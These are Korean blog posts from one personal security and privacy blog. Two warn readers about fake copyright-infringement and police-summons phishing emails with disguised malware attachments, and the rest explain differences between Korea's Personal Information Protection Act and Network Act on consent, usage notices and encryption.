피싱 메일은 악성코드를 감염시키는 가장 손쉬운 방법 중 하나다. 얼마 전 경찰청을 사칭하는 이메일을 통해 "너 고소당했어"를 시전하며 고소장으로 가장한 악성코드 첨부파일이 포함된 피싱메일을 받았다는 포스트를 올린적이 있다. ( 보러가기 )

해커들이 피싱메일을 무작위로 뿌려대는 목적은 시기에 따라 시시각각 변한다.

초창기에는 특정 웹사이트(대기업 또는 포탈, 공공기관 등)를 목표로 해커 대신 DDOS공격을 해줄 좀비PC를 확보하기 위한 경우가 많았다. 따라서 피싱메일에는 첨부파일로 가장한 DDOS 공격도구가 담겨져 있었다. 

하지만 시대가 변하면서 피싱메일에는 PC의 운영체제와 파일을 파괴하는 악성코드가 담기기도 했고 최근에는 파일들을 마구 암호화해버리는 랜섬웨어가 담겨있기도 한다. 때로는 PC를 모니터링하고 검색해 개인정보나 사적인 사진이나 동영상 등을 탈취하는 프로그램을 배포하기도 한다. 

피싱메일의 내용도 자주 변화한다. 지인을 사칭하기도 하고 때로는 법원을, 때로는 경찰청을 사칭하기도 한다.

그런데 어제 또 새로운 기법의 피싱메일을 받았다. 요즘 기승을 부린다는 "저작권 침해" 관련 피싱메일이다. 

어디에서 수집했는지는 모르겠지만 현재 운영중인 개인도메인에 부여해 사용하는 1개의 메일주소로 보내왔다. 내용은 블로그에 자기가 만든 캐릭터 이미지를 무단으로 사용했고 이는 저작권 법률에 위배된다는 내용이다. 하지만 어떤 포스트인지는 알려주지 않는다. (당연하겠지... 무단으로 사용한 이미지는 없으니까...) 

그리고는 마치 너그럽게 용서해주겠다는 투로 지우고 다음부터는 사용하지 말란다. 그러더니 저작권 위반한 화면의 캡처라는 듯 사진파일을 첨부하니 열어보고 조치해달라고 한다. 그냥 URL을 알려주면 편할텐데 말이다.

느낌이 쎄~~해서 첨부파일인 "원본이미지.egg" 파일을 다운로드 받아 저장하고 샌드박스를 통해 열어보았다. 

음.. 이미지 파일인 jpeg 확장자의 파일이 보인다. 그런데 오른쪽 파일종류에 "응용 프로그램"으로 표시된다. 

즉 이 jpeg 파일은 실행파일이다. 이는 Windows에서 표시해주지 못하는 Unicode를 이용해 확장자를 속이도록 파일이름을 설정한 JPEG로 위장한 EXE 파일이다.

따라서 이런 파일은 그냥 삭제해야 한다.

이 파일의 압축 해제를 시도해봤다. 당연히 샌드박스 내에서 실행했다. 

PC에 설치되어 있는 백신에서 트로이목마로 분류되는 악성코드로 탐지한다.

듣지도 보지도 못한 사람이 무작정 파일을 보내고 열어보길 요구한다면 절대, 결코 파일을 클릭하거나 열어보지 않도록 주의해야 한다.





오늘은 일정이 없어 여유롭게 커피한잔을 마시며 이메일을 확인하려 노트북을 켰다.

그런데.. "온라인 명예훼손 출석통지서"라는 제목의 이메일 한통이 눈에 띄었다. 보낸이는 경찰청...!!



당연히..나름 부지런하게 일하는 네이버포탈에서는 "시스템차단"이라는 태그를 달아 스팸메일함으로 분류하고 있었다. 


요즘 경찰청을 사칭하며 이런 저런 사건 수사를 한다며 "너 고소 당했으니 출석해~~"라는 막무가내 식 메일을 악성코드를 첨부해 보낸다는 소문은 들었지만 직접 받아보긴 처음이었다. 


포털메일시스템에서 자동으로 분류되기에 망정이지 컴알못인 사람들은 껌뻑 속아넘어갈만 하기도 학겠다는 생각이 들었다. 


이 메일의 내용을 한번 열어려고 클릭하면...



포털에서 악성코드가 포함되어 있을 수 있으므로 자동으로 차단했다는 메시지가 뜨며 내용을 그냥 보여주지 않는다. 만약 정말 당신이 컴알못이라면 여기서 손을 떼고 이런 메일은 그냥 삭제하기 바란다.


포털도 장사하는 사람들이다. 만약 악성코드를 퍼뜨리는 사기성 피싱 메일이 아닌데 이런 식으로 스팸메일로 처리하다 큰 코 다칠 수 있기 때문에 100% 확실하게 피싱메일이라고 판단되지 않으면 저렇듯 차단하지 않는다. 


만약 당신이 정말 범죄를 저질렀다 하더라도 경찰은 이메일 따위로 "출석 통지서"를 보내지 않는다. 실제로 비오는 밤 좌회전 차선을 잘못보고 들어갔다 뒤에서 오던 차가 블랙박스를 영상을 근거로 "공익신고"를 해서 사실확인 출석 통보를 받은 적이 있다. 일단 주소지로 실제 "교통법규위반 사실확인요청서"라는 우편통지를 받았다. 누군가 이런 사소한 것으로 신고를 했다는데 빡~치긴 했지만 실제 위반일 수도 있겠다 싶긴 했다.


이렇듯 공적인 출석요구나 사실확인 등은 모두 실물 우편을 보낸다.  위 화면처럼 "이메일" 따위로 출석을 요구하지 않는다.


그리고 위 화면에서 "보낸사람" 이메일주소를 보면 @keumsanpolice.xyz 이다. 도메인이 .xyz...??? 이 무슨 멍멍이스런 도메인인가 ? 대한민국 경찰이면 1차 도메인이 .kr 이어야지 .xyz라니...


사실 이쯤에서 더 이상 볼 필요도 없다. 이런 메일은 모두 "가짜 피싱"메일이다.


혹시나 내용이 궁금해 내용을 확인하니.. 다음과 같다.



그럴싸하게 사건번호까지 붙이고 법률까지 명시하고 있지만... 새빨간 거짓말이다.


이런 메일 받으면 아무런 걱정하지 말고 내용도 확인하지 말고 휴지통으로 직행시키길 바란다.




  • 에스델 ♥ 2019.03.20 09:52 신고

    컴알못인 저는 정말 조심해야겠어요..
    그런데 도메인을 보고 빵 터졌습니다. ㅎㅎ

    • taeho Tae-Ho 2019.03.20 13:14 신고

      요즘은 경찰청 뿐만 아니라 국세청 등 다양한 공공기관을 사칭헤서 메일을 보냅니다. 낯선 메일의 첨부파일을 다운로드 하거나 링크(URL)을 클릭할 때 정말 조심해야 합니다.

  • 히티틀러 2019.04.13 15:56 신고

    저도 이 메일 받았습니다.
    고소장이라고 되어있어서 블로그에 쓴 내용으로 뭔가 고소당했나하는 생각이 들었는데, 자세히보니 피싱메일인 거 티가 나더라고요.
    첨부파일 다운받지 않고 바로 지웠습니다ㅋㅋㅋ



지난 번에 개인정보보호법과 정보통신망법의 주요 차이점에 대해 포스팅한 적이 있습니다. (여기) 지난 번 포스팅에 이어 이번에도 두 법령의 차이점에 대한 포스팅 입니다.

온라인과 오프라인에서 개인정보를 수집할 때에는 개인정보보호법과 정보통신망법에서 규정하고 있는 개인정보 수집·이용 동의 방법을 적용하여 이용자(정보주체)의 동의를 받아야 합니다. 그런데... 동의를 받는 방법 중에서 "개인정보처리 위탁"에 대한 동의를 개인정보 수집·이용 동의와 구분하여 별도로 받아야 하는가에 대한 규정이 정보통신망법과 개인정보보호법에서 미묘하게 차이가 있습니다. 그래선지 정보보호관련 컨설팅을 받았다고 하는 여러 기업이나 기관의 홈페이지나 오프라인 회원가입 신청서를 보면 개인정보 처리업무의 위탁에 대한 동의 부분이 전혀 다른 경우가 종종 발견됩니다.

과연 개인정보 위탁 시 별도동의를 받아야 하는지 법 조문을 추적해보겠습니다.


개인정보보호법의 개인정보 수집·이용 동의 규정


먼저 개인정보보호법의 개인정보 수집·이용 동의를 받는 방법에 대한 규정입니다.

제22조(동의를 받는 방법) ① 개인정보처리자는 이 법에 따른 개인정보의 처리에 대하여 정보주체(제6항에 따른 법정대리인을 포함한다. 이하 이 조에서 같다)의 동의를 받을 때에는 각각의 동의 사항을 구분하여 정보주체가 이를 명확하게 인지할 수 있도록 알리고 각각 동의를 받아야 한다.  <개정 2017. 4. 18.>

제22조 제①항에서 정보주체(이용자)에게 동의를 받을 때는 각각의 동의 사항을 구분하여 알리고 각각 동의를 받으라고 하고 있습니다. 이 조항만 보면 수집·이용 동의와 위탁에 대한 동의를 구분하여 알리고 별도 동의를 받아야하지 않나 생각됩니다만 구분하여야 하는 각각의 동의 사항이 무엇인지는 포함하고 있지 않습니다.

다음은 제22조 제③항에 또 동의를 받아야 하는 대상에 대해 설명합니다.

③ 개인정보처리자는 제15조제1항제1호, 제17조제1항제1호, 제23조제1항제1호 및 제24조제1항제1호에 따라 개인정보의 처리에 대하여 정보주체의 동의를 받을 때에는 정보주체와의 계약 체결 등을 위하여 정보주체의 동의 없이 처리할 수 있는 개인정보와 정보주체의 동의가 필요한 개인정보를 구분하여야 한다. 이 경우 동의 없이 처리할 수 있는 개인정보라는 입증책임은 개인정보처리자가 부담한다.  <개정 2016. 3. 29., 2017. 4. 18.>

이 조항에서는 동의를 받아야 하는 네 개의 경우를 명시하고 이 네 가지 법조항에 따라 개인정보 수집단계에서 정보주체(이용자)의 동의를 받으라고 합니다. 그리고 그 중에서 정보주체(이용자)와의 계약 체결 등을 위하여 정보주체의 동의 없이 처리할 수 있는 개인정보와 정보주체의 동의가 필요한 개인정보를 구분하라고 하고 있습니다. 

이 4개의 법조항에서 의미하는 동의가 각각 무엇인지 알아보면...

제15조 제1항 제1호는 개인정보의 수집·이용에 대한 정보주체(이용자)의 동의를 의미합니다. 즉 일반적인 개인정보를 수집할 때 받아야 하는 동의죠.

제17조 제1항 제1호는 개인정보의 제3자 제공에 대한 정보주체(이용자)의 동의를 뜻합니다. 즉 수집한 개인정보를 제3자에게 제공할 때 필요한  동의 입니다.

제23조 제1항 제1호는 민감정보를 수집·이용하기 위한 정보주체(이용자)의 동의를 가리킵니다. 즉 민감정보처리에 대한 동의입니다.

제24조 제1항 제1호는 고유식별정보를 수집·이용하기 위한 정보주체(이용자)의 동의입니다.

그리고 정보주체의 동의없이 처리할 수 있는 개인정보가 있다면 동의를 받지 않아도 된다고 이야기 하는 듯 합니다. 하지만 동의 없이 처리할 수 있는 개인정보라는 것을 개인정보처리자가 입증해야 한다고 명시합니다. 법률에서 동의 없이 수집 및 처리할 수 있다고 명확하게 명시해준 케이스는 몇 개 없습니다. 해당 케이스를 제외하곤 정보주체(이용자) 동의 없이 수집할 수 있다는 것을 개인정보처리자가 입증해야 한다는 이야기인데... 그런 위험을 감수할 필요가 있을까요? 

즉 위의 4개 케이스는 각각 분리하여 고지하고 별도 동의를 받는 것이 준거성 측면에서 가장 안전하고 편합니다. 

그런데... 개인정보 처리업무 위탁에 대해서 별도 동의를 받으라는 규정은 아직 없습니다. 다만 개인정보의 수집·이용 목적을 달성하기 위해 개인정보 처리업무를 위탁할 때에는 문서에 의할 것이며 개인정보처리업무를 위탁받은 수탁사에 대해 교육하고 감독할 것 그리고 위탁현황을 정보주체(이용자)에게 고지할 것을 명시하는 규정만 있습니다.

즉 개인정보보호법에서는 개인정보 처리업무를 위탁할 때 별도의 구분된 동의는 필요 없습니다. 개인정보처리방침에 위탁 현황을 상세하게 알리기만 하면 됩니다.

하지만 정보통신망법은 조금 복잡하게 개인정보 처리위탁에 대해 다루고 있습니다.


정보통신망법의 개인정보 처리위탁 동의 관련 규정


정보통신망법에서는 개인정보의 처리를 위탁할 때 이용자(정보주체)의 동의를 받아야 하는지를 명확하게 규정하고 있습니다.

제25조(개인정보의 처리위탁) ① 정보통신서비스 제공자와 그로부터 제24조의2제1항에 따라 이용자의 개인정보를 제공받은 자(이하 "정보통신서비스 제공자등"이라 한다)는 제3자에게 이용자의 개인정보를 수집, 생성, 연계, 연동, 기록, 저장, 보유, 가공, 편집, 검색, 출력, 정정(訂正), 복구, 이용, 제공, 공개, 파기(破棄), 그 밖에 이와 유사한 행위(이하 "처리"라 한다)를 할 수 있도록 업무를 위탁(이하 "개인정보 처리위탁"이라 한다)하는 경우에는 다음 각 호의 사항 모두를 이용자에게 알리고 동의를 받아야 한다. 다음 각 호의 어느 하나의 사항이 변경되는 경우에도 또한 같다.  <개정 2016. 3. 22.>

1. 개인정보 처리위탁을 받는 자(이하 "수탁자"라 한다)

2. 개인정보 처리위탁을 하는 업무의 내용

② 정보통신서비스 제공자등은 정보통신서비스의 제공에 관한 계약을 이행하고 이용자 편의 증진 등을 위하여 필요한 경우로서 제1항 각 호의 사항 모두를 제27조의2제1항에 따라 공개하거나 전자우편 등 대통령령으로 정하는 방법에 따라 이용자에게 알린 경우에는 개인정보 처리위탁에 따른 제1항의 고지절차와 동의절차를 거치지 아니할 수 있다. 제1항 각 호의 어느 하나의 사항이 변경되는 경우에도 또한 같다.  <개정 2014. 5. 28., 2016. 3. 22.>

제25조 제1항에서 개인정보 처리업무를 위탁하는 경우 이용자에게 개인정보를 위탁받는자와 위탁하는 업무의 내용을 알리고 동의를 받으라고 규정하고 있습니다. 다만 개인정보의 수집·이용 동의와 분리하여 별도 동의를 받으라고는 하지 않고 있습니다.

그런데 제2항에 보면 예외 규정이 있습니다. 엄격하게 해석해보면 수집·이용 목적에 해당하는 계약 이행을 할 때 이용자 편의 증진 등을 위해 필요한 경우 개인정보처리방침(제27조의2제1항)에 위탁관련 사항을 고지할 경우 고지절차와 동의 절차를 생략할 수 있다고 해석할 수 있습니다.

다만 주의할 점이 있는데, 바로 제24조의2항의 내용입니다. 제24조의2항은 동 법에서 서술한 이용자(정보주체)의 동의 없이 개인정보를 수집할 수 있는 경우 외에는 개인정보를 제3자에게 제공할 때 이용자에게 알리고 동의를 받아야 한다는 규정입니다. 그런데 문제는 이 조항에서 언급하는 제3자가 업무를 위탁하기 위한 제3자인지 목적외 이용을 위해 제공하는 제3자인지가 명확하지 않다는 점입니다. 문맥상으로는 목적외 이용을 위해 제공하는 제3자로 보입니다.

제24조의2(개인정보의 제공 동의 등) ① 정보통신서비스 제공자는 이용자의 개인정보를 제3자에게 제공하려면 제22조제2항제2호 및 제3호에 해당하는 경우 외에는 다음 각 호의 모든 사항을 이용자에게 알리고 동의를 받아야 한다. 다음 각 호의 어느 하나의 사항이 변경되는 경우에도 또한 같다.

1. 개인정보를 제공받는 자

2. 개인정보를 제공받는 자의 개인정보 이용 목적

3. 제공하는 개인정보의 항목

4. 개인정보를 제공받는 자의 개인정보 보유 및 이용 기간

② 제1항에 따라 정보통신서비스 제공자로부터 이용자의 개인정보를 제공받은 자는 그 이용자의 동의가 있거나 다른 법률에 특별한 규정이 있는 경우 외에는 개인정보를 제3자에게 제공하거나 제공받은 목적 외의 용도로 이용하여서는 아니 된다.

③ 제25조제1항에 따른 정보통신서비스 제공자등은 제1항에 따른 제공에 대한 동의와 제25조제1항에 따른 개인정보 처리위탁에 대한 동의를 받을 때에는 제22조에 따른 개인정보의 수집ㆍ이용에 대한 동의와 구분하여 받아야 하고, 이에 동의하지 아니한다는 이유로 서비스 제공을 거부하여서는 아니 된다.  <신설 2011. 4. 5., 2016. 3. 22.>

그런데 3항에 보면 정보통신서비스 제공자등은 제1항에 따른 제공 즉 개인정보의 제3자 제공 동의와 개인정보 처리위탁 동의(제25조제1항)를 받을 때에는 개인정보의 수집·이용 동의와 구분하여 받아야 한다고 규정하고 있습니다. 언뜻 보면 개인정보 처리위탁을 별도 동의 받아야 하는 것처럼 해석될 소지가 많습니다. 

결론적으로 제25조는 개인정보 처리위탁에 대한 내용이고 제24조는 목적외 이용 제한에 대한 내용이므로 제24조의2 제3항은 약간 오류가 있는 조항이 아닌가 생각됩니다. (순전히 개인적인 판단임) 제24조는 전체적으로 목적외 이용을 위한 제3자 제공 동의에 대한 내용인데 제3항에서 뜬금없이 제25조제1항 즉 개인정보처리 위탁 동의를 제22조의 개인정보 수집·이용 동의와 분리하라는 조항이 삽입된 것입니다. 

원래 제3항에서 하고자하는 이야기는 "개인정보 처리업무를 위탁하고자 하는 정보통신 서비스 제공자는 목적 외 이용을 위한 제3자 제공 동의를 받을 때 개인정보처리 위탁에 대한 동의 및 개인정보 수집·이용 동의와 분리하여 받아야 한다"는 이야기를 하고 싶은 것이 아닌가 싶습니다.

결국 정보통신망법에서 별도동의를 받아야 하는가 말 것인가의 결정은 개인정보 처리위탁이 서비스의 본질적 목적을 수행하는 업무이고 명백하게 이용자 편의 증진등을 위한 것이라는 것을 입증할 수 있느냐 없느냐에 따른다고 볼 수 있습니다.


실제 사례


실제로 ISMS인증과 PIMS 인증을 받은 기업의 회원가입 페이지를 들여다 보면 두가지 케이스가 모두 존재합니다.

개인정보 처리위탁에 대한 동의를 별도로 구분하여 받은 곳(고지도 함께 함)과 개인정보처리방침에 개인정보 처리위탁에 대한 현황을 자세하게 고지하고 실제 회원가입시에는 처리위탁에 대해서는 일언반구도 언급하지 않고 동의를 받지 않는 곳도 있는 것이 현실입니다.


  • 2019.03.11 00:39

    비밀댓글입니다

    • taeho Tae-Ho 2019.03.11 11:32 신고

      안녕하세요.

      망법과 개보법은 law.go.kr 에서 최신버전으로 검색해보실 수 있구요. (법률, 시행령, 고시 등)
      ISMS 인증기준은 isms.kisa.or.kr에 가시면 ISMS-P 인증기준 안내서를 다운로드 받으실 수 있습니다.
      인증기준 안내서에 보시면 통제항목에 대한 세부 설명과 법적 근거가 있는 경우 조항까지 안내되어 있습니다.
      그리고 각종 가이드들도 다운로드 받아 꼼꼼히 읽어보시면 도움이 됩니다.
      1. 2017년 개인정보보호 상담 사례집
      2. 141231_CCTV_설치·운영_가이드라인_개정안(참고2_민간_가이드)
      3. 개인정보 실태점검 및 행정처분 사례집(2017)
      4. 개인정보 처리 위ㆍ수탁 안내서(18.6)
      5. 개인정보_비식별_조치_가이드라인(2016.6)
      6. 개인정보_수집_최소화_가이드라인
      7. 개인정보_수집제공_동의서_작성_가이드라인-2.0(18.3 개정)
      8. 개인정보처리방침_작성예시(민간용)
      9. 암호정책수립기준안내서_2013
      10. 온라인 개인정보 처리 가이드라인(2018.9)

  • 2019.03.11 11:40

    비밀댓글입니다

  • 2019.03.11 14:51

    비밀댓글입니다

  • 식스센스 2019.06.19 13:15

    좋은 자료 감사합니다.

  • 김영준 2019.08.06 09:16

    마지막 문장의
    개인정보 처리위탁에 대한 동의를 별도로 구분하여 받은 곳(고지도 함께 함)과 개인정보처리방침에 개인정보 처리위탁에 대한 현황을 자세하게 고지하고 실제 회원가입시에는 처리위탁에 대해서는 일언반구도 언급하지 않고 동의를 받지 않는 곳도 있는 것이 현실입니다.

    라는 말은 곧 개인정보 수집이용 제공 동의를 할때 처리위탁에 관한 사항이 포함되어야 한다는 말인가요?



이따금씩 사업장이 『정보통신망 이용촉진 및 정보보호 등에 관한 법률(이하 정보통신망법)』의 적용 대상인지 아니면 『개인정보 보호법』의 적용을 받는 기관(기업)인지를 판단하지 못해 혼란스러워 하는 경우가 있습니다. 때문에 사업장이 어느 법률의 적용을 받는지 잘 판단해야 하며 적용받는 해당 법령에 정보보호를 위해 어떤 조항이 있는지 보다 주의를 기울여야 합니다.

(※이 포스트에서는 정보통신망법과 개인정보보호법 기준에 대해서만 설명합니다. 은행과 같이 정보통신서비스를 제공하고 있으나 다른 특별법 적용대상이고 해당 법령에서 금융관련 정보통신서비스 및 정보보호에 관한 규제가 있을 경우 해당 법령을 우선 적용 받습니다. ※)


정보통신망법 적용 대상 사업자 (2018.02.10 기준)


일단 정보통신망법은 정보통신망을 이용해 영리 목적의 서비스를 제공하는 사업자는 모두 적용대상입니다. 다만 매출이 미미하지만 사업자로 등록된 사업자의 경우 특별한 기준이 명시되어 있지 않으나 묵시적으로 정보통신망법의 적용대상에서 예외로 보고 있습니다. 그 이유는 「정보통신망법 제47조(정보보호 관리체계의 인증)」에서 다음과 같이 규정하고 있기 때문입니다.

제47조(정보보호 관리체계의 인증) ① 과학기술정보통신부장관은 정보통신망의 안정성·신뢰성 확보를 위하여 관리적·기술적·물리적 보호조치를 포함한 종합적 관리체계(이하 "정보보호 관리체계"라 한다)를 수립·운영하고 있는 자에 대하여 제4항에 따른 기준에 적합한지에 관하여 인증을 할 수 있다.  <개정 2012.2.17., 2013.3.23., 2015.12.1., 2017.7.26.>

② 「전기통신사업법」 제2조제8호에 따른 전기통신사업자와 전기통신사업자의 전기통신역무를 이용하여 정보를 제공하거나 정보의 제공을 매개하는 자로서 다음 각 호의 어느 하나에 해당하는 자는 제1항에 따른 인증을 받아야 한다.  <신설 2012.2.17., 2015.12.1.>

1. 「전기통신사업법」 제6조제1항에 따른 허가를 받은 자로서 대통령령으로 정하는 바에 따라 정보통신망서비스를 제공하는 자

2. 집적정보통신시설 사업자

3. 연간 매출액 또는 세입 등이 1,500억원 이상이거나 정보통신서비스 부문 전년도 매출액이 100억원 이상 또는 3개월간의 일일평균 이용자수 100만명 이상으로서, 대통령령으로 정하는 기준에 해당하는 자

위 기준 중 3의 기준에 부합하지 않는 대부분의 소상공인이나 사업자의 경우 "정보보호 관리체계 인증"을 받지 않아도 되기 때문에 정보통신망법의 적용 대상이긴 하지만 정보통신망법 상의 기술적·관리적 보호조치를 이행하고 "인증"을 받아야 할 "의무"는 없다고 판단하는 조금 말이 되지 않는 상황이 발생합니다. 그럼에도 불구하고 예외로 보는 것은 정보통신망법 적용 대상이라 하더라도 그만한 자금력이 없는데 정보통신망법과 그 이하 법령에서 요구하는 정보통신서비스 제공자의 의무인 기술적·관리적 보호조치를 요구하는 것은 무리이기 때문입니다. 그래서 매출액 및 세입과 연간 매출액 그리고 3개월간의 일일평균 이용자 수를 기준으로 "의무" 대상자 여부를 판단하는 것이라고 봐야 합니다.

정보통신망법은 특별법입니다.  따라서 제47조(정보보호 관리체계의 인증)의 정보보호 관리체계 인증 의무 대상 기준에 해당되는 사업자 및 기관 이외의 사업자는 정보통신망법을 지켜야할 의무는 없다고 일반적으로 판단합니다. 하지만 개인정보를 조금이라도 수집하는 사업자 및 공공기관은 일반법인 「개인정보보호법」의 적용을 받게 됩니다.


정보통신망법과 개인정보보호법의 차이


개인정보를 조금이라도 수집하는 모든 사업자, 단체 및 개인은 원칙적으로 개인정보보호법 적용대상자 입니다. 개인정보보호법은 일반법이기 때문에 정보통신망법 보다 그 적용대상이 월등히 많습니다. 두 법은 유사한 점도 많지만 차이점도 꽤나 많습니다.

그리고 두 법의 차이점을 이해하는 것이 꽤나 헷갈리기 때문에 일부 정보보호전공 관련 대학에서는 두 법의 차이점을 분석해 레포트로 제출하라는 과제를 낼 정도입니다. 그리고 ISMS (or ISMS-P) 인증심사나 ISO27001 심사 때도 법적인 의무사항과 관련해 심사원들 조차도 헷갈려하는 경우가 많습니다. 

가장 대표적인 차이 중 하나가 "개인정보 이용내역 통지제"를 들 수 있습니다. 


개인정보 이용내역 통지제


정보통신망법에서는 망법 대상자에게 모두 동일한 기준을 제시하고 있습니다.  정보통신망법 제30조의2(개인정보 이용내역의 통지)에서는 다음과 같이 명시하고 있습니다.

제30조의2(개인정보 이용내역의 통지) ① 정보통신서비스 제공자등으로서 대통령령으로 정하는 기준에 해당하는 자는 제22조 및 제23조제1항 단서에 따라 수집한 이용자 개인정보의 이용내역(제24조의2에 따른 제공 및 제25조에 따른 개인정보 처리위탁을 포함한다)을 주기적으로 이용자에게 통지하여야 한다. 다만, 연락처 등 이용자에게 통지할 수 있는 개인정보를 수집하지 아니한 경우에는 그러하지 아니하다.  <개정 2016.3.22>

   ② 제1항에 따라 이용자에게 통지하여야 하는 정보의 종류, 통지 주기 및 방법, 그 밖에 이용내역 통지에 필요한 사항은 대통령령으로 정한다.  [본조신설 2012.2.17]

대통령령을 봐야겠죠?

제17조(개인정보 이용내역의 통지) ① 법 제30조의2제1항 본문에서 "대통령령으로 정하는 기준에 해당하는 자"란 전년도 말 기준 직전 3개월간 그 개인정보가 저장·관리되고 있는 이용자 수가 일일평균 100만명 이상이거나 정보통신서비스 부문 전년도(법인인 경우에는 전 사업연도를 말한다) 매출액이 100억원 이상인 정보통신서비스 제공자등을 말한다.

② 법 제30조의2제1항에 따라 이용자에게 통지하여야 하는 정보의 종류는 다음 각 호와 같다.  <개정 2016.9.22.>

1. 개인정보의 수집·이용 목적 및 수집한 개인정보의 항목

2. 개인정보를 제공받은 자와 그 제공 목적 및 제공한 개인정보의 항목. 다만, 「통신비밀보호법」 제13조, 제13조의2, 제13조의4 및 「전기통신사업법」 제83조제3항에 따라 제공한 정보는 제외한다.

3. 법 제25조에 따른 개인정보 처리위탁을 받은 자 및 그 처리위탁을 하는 업무의 내용

③ 법 제30조의2제1항에 따른 통지는 전자우편·서면·모사전송·전화 또는 이와 유사한 방법 중 어느 하나의 방법으로 연 1회 이상 하여야 한다. [본조신설 2012.8.17.]

네.. ③항에 연1회 이상 개인정보의 이용내역을 통지하라고 되어 있습니다. 

하지만 개인정보보호법에서는 기관과 기업이 아무리 많은 개인정보를 수집해 보유하더라도 이용자(정보주체)에게 수집 시 이용·동의만 받았으면 이용 내역을 정기적으로 통지하라고 요구하지 않습니다.

하지만 정보통신망법의 개인정보 이용내역 통제제와는 다르지만 개인정보보호법에서도 정보주체에게 연1회 이상 무언가를 알려야하는 경우가 있습니다.

바로 정보주체 이외로부터 연2회 이상 개인정보를 제공받는 경우 연1회 이상 개인정보를 어디에서 왜 수집했는지를 통지하도록 요구하고 있습니다.

제20조(정보주체 이외로부터 수집한 개인정보의 수집 출처 등 고지) ① 개인정보처리자가 정보주체 이외로부터 수집한 개인정보를 처리하는 때에는 정보주체의 요구가 있으면 즉시 다음 각 호의 모든 사항을 정보주체에게 알려야 한다.

1. 개인정보의 수집 출처

2. 개인정보의 처리 목적

3. 제37조에 따른 개인정보 처리의 정지를 요구할 권리가 있다는 사실

② 제1항에도 불구하고 처리하는 개인정보의 종류ㆍ규모, 종업원 수 및 매출액 규모 등을 고려하여 대통령령으로 정하는 기준에 해당하는 개인정보처리자가 제17조제1항제1호에 따라 정보주체 이외로부터 개인정보를 수집하여 처리하는 때에는 제1항 각 호의 모든 사항을 정보주체에게 알려야 한다. 다만, 개인정보처리자가 수집한 정보에 연락처 등 정보주체에게 알릴 수 있는 개인정보가 포함되지 아니한 경우에는 그러하지 아니하다.  <신설 2016. 3. 29.>

③ 제2항 본문에 따라 알리는 경우 정보주체에게 알리는 시기ㆍ방법 및 절차 등 필요한 사항은 대통령령으로 정한다.  <신설 2016. 3. 29.>

④ 제1항과 제2항 본문은 다음 각 호의 어느 하나에 해당하는 경우에는 적용하지 아니한다. 다만, 이 법에 따른 정보주체의 권리보다 명백히 우선하는 경우에 한한다.  <개정 2016. 3. 29.>

1. 고지를 요구하는 대상이 되는 개인정보가 제32조제2항 각 호의 어느 하나에 해당하는 개인정보파일에 포함되어 있는 경우

2. 고지로 인하여 다른 사람의 생명ㆍ신체를 해할 우려가 있거나 다른 사람의 재산과 그 밖의 이익을 부당하게 침해할 우려가 있는 경우

2항에서 명백하게 일정 기준이상의 개인정보처리자는 정보주체(이용자) 이외로부터 개인정보를 수집할 경우 수집 출처와 처리 목적을 정보주체(이용자)에게 알리도록 되어 있습니다. 

자세한 적용대상 및 통지의 시기와 방법 등은 대통령령으로 정한다고 되어 있죠? 개인정보 보호법 시행령(2017.10.19)에서는 다음과 같이 개인정보 이용에 대한 고지 의무 대상을 명시하고 있습니다.

제15조의2(개인정보 수집 출처 등 고지 대상ㆍ방법ㆍ절차) ① 법 제20조제2항 본문에서 "대통령령으로 정하는 기준에 해당하는 개인정보처리자"란 다음 각 호의 어느 하나에 해당하는 개인정보처리자를 말한다.

1. 5만명 이상의 정보주체에 관하여 법 제23조에 따른 민감정보(이하 "민감정보"라 한다) 또는 법 제24조제1항에 따른 고유식별정보(이하 "고유식별정보"라 한다)를 처리하는 자

2. 100만명 이상의 정보주체에 관하여 개인정보를 처리하는 자

② 제1항 각 호의 어느 하나에 해당하는 개인정보처리자는 법 제20조제1항 각 호의 사항을 서면·전화·문자전송·전자우편 등 정보주체가 쉽게 알 수 있는 방법으로 개인정보를 제공받은 날부터 3개월 이내에 정보주체에게 알려야 한다. 다만, 법 제17조제2항제1호부터 제4호까지의 사항에 대하여 같은 조 제1항제1호에 따라 정보주체의 동의를 받은 범위에서 연 2회 이상 주기적으로 개인정보를 제공받아 처리하는 경우에는 개인정보를 제공받은 날부터 3개월 이내에 정보주체에게 알리거나 그 동의를 받은 날부터 기산하여 연 1회 이상 정보주체에게 알려야 한다.

③ 제1항 각 호의 어느 하나에 해당하는 개인정보처리자는 제2항에 따라 알린 경우 다음 각 호의 사항을 법 제21조 또는 제37조제4항에 따라 해당 개인정보를 파기할 때까지 보관·관리하여야 한다.

1. 정보주체에게 알린 사실

2. 알린 시기

3. 알린 방법

[본조신설 2016.9.29.]

두개의 기준을 제시하고 있습니다. "5만명 이상의 민감정보 또는 고유식별번호를 제공받아 처리하는 개인정보처리자"와 "100만명 이상의 개인정보를 처리하는 자"로 명시하고 있습니다. 이에 해당하는 개인정보처리자가 흔하지는 않긴 합니다.

역으로 위의 조건에 해당되지 않는 개인정보처리자 즉 사업자나 개인은 정보주체(이용자) 이외로부터 개인정보를 수집해도 이용자에게 알릴 의무가 없다는 이야기가 됩니다.

다음으로 비교해볼만한 규정은 개인정보의 암호화에 대한 규정입니다.


개인정보의 암호화


두 법에서는 개인정보의 암호화 의무에 대해서도 조금씩 다르게 규정하고 있습니다. 

개인정보보호법에서는 크게 두 개의 조항에서 개인정보에 대한 암호화를 규정하고 있습니다.

제24조(고유식별정보의 처리 제한) ③ 개인정보처리자가 제1항 각 호에 따라 고유식별정보를 처리하는 경우에는 그 고유식별정보가 분실ㆍ도난ㆍ유출ㆍ위조ㆍ변조 또는 훼손되지 아니하도록 대통령령으로 정하는 바에 따라 암호화 등 안전성 확보에 필요한 조치를 하여야 한다. 

제24조의2(주민등록번호 처리의 제한) ② 개인정보처리자는 제24조제3항에도 불구하고 주민등록번호가 분실ㆍ도난ㆍ유출ㆍ위조ㆍ변조 또는 훼손되지 아니하도록 암호화 조치를 통하여 안전하게 보관하여야 한다. 이 경우 암호화 적용 대상 및 대상별 적용 시기 등에 관하여 필요한 사항은 개인정보의 처리 규모와 유출 시 영향 등을 고려하여 대통령령으로 정한다

고유식별정보에 대해 암호화 조치 등을 수행하라고 요구합니다. 여기서 등~이 중요합니다. 반드시 암호화를 해야한다는 것은 아니라는 것을 암시(?)하죠. 그리고 두 번째 조항에 보면 고유식별정보 중에서도 주민등록번호는 암호화 조치를 통해 안전하게 보관하라고 되어 있죠. 즉 주민번호는 무조건 암호화 해야하지만 그 외의 고유식별정보는 암호화 예외도 있을 수 있다고 보여집니다.

